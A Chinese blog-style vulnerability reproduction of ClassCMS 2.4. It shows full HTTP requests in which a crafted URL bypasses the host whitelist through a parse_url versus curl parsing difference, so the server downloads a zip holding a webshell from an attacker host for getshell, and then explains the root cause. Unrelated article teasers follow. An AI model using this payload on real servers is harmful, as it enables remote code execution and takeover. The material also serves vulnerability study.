ClassCMS2.4漏洞复现

  • ClassCMS2.4漏洞复现

    • 环境搭建

    • 任意文件下载漏洞复现

    • 漏洞成因

ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装

图片

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

图片

点击安装

图片

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台

图片

任意文件下载漏洞复现

在后台访问应用商店

图片

任意点击一个下载

图片


进入下载页面后点击 下载 进行抓包

图片

我们先放掉第一个包

图片

POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1

Host: 192.168.12.144

Content-Length: 47

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.12.144

Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitch

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230

Connection: close



classhash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包

图片

//第二个数据包



POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00

Connection: close



classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

classhash为解压出来的最后文件名

url为了绕过过滤设成如下形式

http://@ip:80@classcms.com/shell.zip

远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包

csrf参数不动即可

发送之后返回:下载完成

就说明已经成功被下载到目标服务器上并解压

最后访问url即可执行上传上的木马getshell

http://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包

图片

图片

然后再重新构建第二个数据包

//第二个数据包



POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230

Connection: close



classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
 

图片


把修改后的数据包提交
 

图片


提交成功

图片

访问http://192.168.12.144/class/shell/shell.php
 

图片


可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件

图片

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处

图片

图片


一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
 

图片


this(当前文件shop.php)->download函数下,定位到关键函数download
 

图片

图片


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

图片


只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令​​​​​​​

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {

Return false;

}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:80@classcms.com/shell.zip

看到这里了,点个“赞”、“再看”吧​​​​​​​

免费领取安全学习资料包!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/204358.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何制作一个数字人?流程是怎样的?

​​虚拟人概念从早期动漫领域的初音未来用一首《甩葱歌》让绿色双马尾的“歌姬”形象火出圈,到洛天依登上央视春晚舞台,再到众多虚拟歌手、虚拟主播、KOL、代言人等活跃于各种情境中。 去年以来,元宇宙和虚拟人技术进入全球科技产业的聚光灯…

IDEA解决Git冲突详解

目录 前言: 何为冲突 冲突演示 IDEA冲突解决 小结: 前言: 相信大家多多少少都有了解和使用过Git,作为Java程序员idea可谓是无敌的存在了,那么如何使用idea解决Git冲突呢?不瞒大家前段时间在公司把同事…

怎样搭建好Google关键词广告账号结构

搭建好Google关键词广告账号结构对于实现广告效果的最大化至关重要。本文小编将为您提供一些关于如何搭建好Google关键词广告账号结构的建议和步骤。 1、设定目标和策略 在开始搭建广告账号结构之前,首先需要明确您的广告目标和策略。您想要增加网站流量还是提高转…

基于GAN的多尺度门合并多模态MRI图像合成

Multi-Modal MRI Image Synthesis via GAN With Multi-Scale Gate Mergence 基于GAN的多尺度门合并多模态MRI图像合成背景贡献实验方法生成器gate mergence (GM) strategy(门控融合策略)判别器 损失函数Thinking 基于GAN的多尺度门合并多模态MRI图像合成…

什么牌子的led台灯质量好?考研必备五款护眼台灯推荐

眼睛更是心灵的窗户,我们通过这扇窗来欣赏这个美好的世界。而如今,近视在儿童中已司空见惯,近视率逐年提高,并且低龄化的现状更加突出。据世界卫生组织的最新研究报告,目前中国近视患者人数多达6亿,其中我国…

揭秘Steam充值卡的那些坑

揭秘Steam充值卡的那些坑 steam充值卡有两种形式,一种是实体礼品卡图,即老外线下购买实体卡然后刮开卡密拍照传给买家。另一种是电子版礼品卡,即一串卡密,没有实体卡。 而实体礼品卡的可靠性肯定远高于电子版礼品卡。 相信很多人…

UIkit-UIAlertContent

简单Demo //注意!!!必须放在viewController的viewDidAppear里面,viewDidLoad里面不行 - (void)viewDidAppear:(BOOL)animated {// 创建 UIAlertControllerUIAlertController *alertController [UIAlertController alertControll…

2023第二届全国大学生数据分析实践赛思路及代码

比赛时间 2023.12.16 09:00 至 2023.12.23 16:00 一、建模思路及代码 比赛开始后第一时间更新,建议先收藏哦 思路及代码更新地址 二、大赛时间 大赛报名截止时间:即日起—2023年12月15日 题目公布时间:2023年12月16日早上9点 论文提交…

SpringBoot参数校验@Validated和@Valid的使用

1、Validated和Valid区别 Validated:可以用在类、方法和方法参数上。但是不能用在成员属性(字段)上Valid:可以用在方法、构造函数、方法参数和成员属性(字段)上 2、引入依赖 Spring Boot 2.3 1 之前&…

关于SseEmitter(SSE)在本地可以响应,部署到服务器后无法响应的问题

关于SseEmitter(SSE)在本地可以响应,部署到服务器后无法响应的问题 GetMapping(value "/v3/detail", produces MediaType.TEXT_EVENT_STREAM_VALUE) ResponseBody public SseEmitter v3Detail(String id) {SseEmitter emitter new SseEmitter((long) …

Parasoft:正确的静态应用程序安全测试 (SAST) 解决方案

随着软件开发从Web应用扩展到工业物联网(IIoT)设备,静态应用安全测试(SAST)越来越有必要从根本上帮助确保软件的功能安全。根据 Forrester Research的研究,网络攻击是近两年安全漏洞的主要来源。因此&#…

玄学调参实践篇 | 深度学习模型 + 预训练模型 + 大模型LLM

😍 这篇主要简单记录一些调参实践,无聊时会不定期更新~ 文章目录 0、学习率与batch_size判断1、Epoch数判断2、判断模型架构是否有问题3、大模型 - 计算量、模型、和数据大小的关系4、大模型调参相关论文经验总结5、训练时模型的保存 0、学习率与batch_s…

多要素气象环境监测站知识科普

随着工业化和城市化的快速发展,气象环境的影响越来越受到人们的关注。为了更好地保护我们的环境,一款WX-CQ12 多要素气象环境监测站应运而生。这款监测站可以全方位地监测气象环境中的温度、湿度、气压、风速、风向、雨量、太阳辐射等重要要素&#xff0…

二维码看视频怎么做?轻松3 步将视频做成二维码

现在用二维码来扫码看视频是一种很流行的方式,这种方式只需要消耗流量就可以在线查看视频内容,无需等待接收或者下载视频就可以获取内容,有效的节省时间和空间。那么能够转换多种格式视频生成二维码的步骤是什么样的呢?其实想要快…

数据库范式1NF-4NF

码和属性 字段是对内而言的,private的 属性是对外而言的,public的 用Java中的类比喻就是一个对像里面定义了很多字段,一般情况下每个字段都有一组对应的getter&setter方法,注意到了吗,字段一般用private修饰&#…

ChatGPT生成的一些有趣的文件管理用python小程序

1. 在前位置中的所有文件夹内增加一个名为 abc 的新文件夹 import osdef create_abc_directories(root_dir.):# 获取当前目录下的所有目录subdirectories [d for d in os.listdir(root_dir) if os.path.isdir(os.path.join(root_dir, d))]# 在每个目录中创建名为abc的子目录f…

解决CentOS下PHP system命令unoconv转PDF提示“Unable to connect or start own listener“

centos系统下,用php的system命令unoconv把word转pdf时提示Unable to connect or start own listene的解决办法 unoconv -o /foo/bar/public_html/upload/ -f pdf /foo/bar/public_html/upload/test.docx 2>&1 上面这个命令在shell 终端能执行成功&#xff0c…

单词拆分 II

题目链接 单词拆分 II 题目描述 注意点 s 和 wordDict[i] 仅有小写英文字母组成wordDict 中所有字符串都 不同词典中的同一个单词可能在分段中被重复使用多次以任意顺序 返回所有这些可能的句子 解答思路 使用深度优先遍历回溯解决本题,每一层从idx开始遍历s&a…

如何搭建外网可访问的Serv-U FTP服务器,轻松远程共享文件!

目录 1. 前言 2. 本地FTP搭建 2.1 Serv-U下载和安装 2.2 Serv-U共享网页测试 2.3 Cpolar下载和安装 3. 本地FTP发布 3.1 Cpolar云端设置 3.2 Cpolar本地设置 4. 公网访问测试 5. 总结 1. 前言 科技日益发展的今天,移动电子设备似乎成了我们生活的主角&am…

SSM6 11-27 SpringMvc过滤器和异常处理

try catch:处理异常 throw/throws:不处理 抛出 jvm中断程序运行 打印错误信息 web:经典三层模型: dao(mapper) service web层 异常抛给web层Controller类的方法,每个方法可能处理异常,可能处理异常代码相似,造成重复代码重复编写 web层再往上抛 …